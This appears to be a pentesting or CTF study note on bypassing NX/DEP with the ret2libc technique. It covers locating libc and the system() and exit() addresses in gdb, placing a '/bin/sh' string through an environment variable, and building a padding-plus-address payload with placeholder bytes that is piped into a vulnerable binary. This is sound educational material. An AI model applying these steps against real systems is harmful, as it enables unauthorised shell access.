Bypassing NX (DEP)

Summary

NX (NoExecute) is also called DEP (Data Execution Prevention) prevents execution of shellcode on the stack. This prevents the standard buffer overflow method since the shellcode on the memory doesnt get executed. This would result in a SIGSEGV error.

To bypass this limitation, you use pointers of things already defined and pass arguments to them, since that is still allowed.

Ret2Libc

LibC is a library on linux by default toi make low level functions work. This is imported in a lot of binaries to function.

When the EIP is overwritten as part of the exploit, we can point it to functions in LibC (assuming its imported) and pass args to them to execute code.

Checking LibC

Bash

ldd <binary-name>

GDB

gdb -q <binary>
vmmap libc

# For this to work you may need to execute the program and have it break somewhere

Listing functions in the systems LibC

nm -D /lib/$(uname -m)-linux-gnu/libc-*.so | grep -vw U | grep -v "_" | cut -d " " -f3

Calling a Function

When calling a function in LibC, we need to know how to prepare the stack. We will need to have the function address, the return address (such as exit()) and then the arguments for the function.

Calculating Addresses

gdb -q <binary>

# Get the base address of libc in the process 
vmmap libc 

# Get the offset of the function in libc 
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"

# Work out the address in the process
p base + offset

# Get the value of a function in GDB with no maths
p <function>
p <return>

# Where function could be something like system(), and return exit()

Can now place in code 
payload = ''
payload += 'A'*500
payload += '\xFF\xFF\xFF\xFF' # placing address of system here
payload += '\xFF\xFF\xFF\xFF' # placing address of return here

Getting Args

The function called will need arguments and they cant be passed along as a normal string. If calling a function such as system() in LibC, then the arg could be a location in memory already including /bin/sh or something similar.

gdb -q <binary>
find /bin

# This should return strings in memory. 
# Hopefully something from LibC will be here and you can use it 

# If nothing is found 
quit

export SHELL='/bin/sh'
gdb -q <binary>
find /bin

# Should now be here on the stack at the bottom from env variable 

Can now place in code 
payload = ''
payload += 'A'*500
payload += '\xFF\xFF\xFF\xFF' # placing address of system here
payload += '\xFF\xFF\xFF\xFF' # placing address of return here
payload += '\xFF\xFF\xFF\xFF' # Placing address of string argument here

Execution

Python can either be used to launch it directly, or print it all out to term and then pipe. To use with the double cat method, pipe out to a file (exploit.txt), then use.

python exploit.py > exploit.txt 
(cat ./exploit.txt; cat) | ./binary

Last updated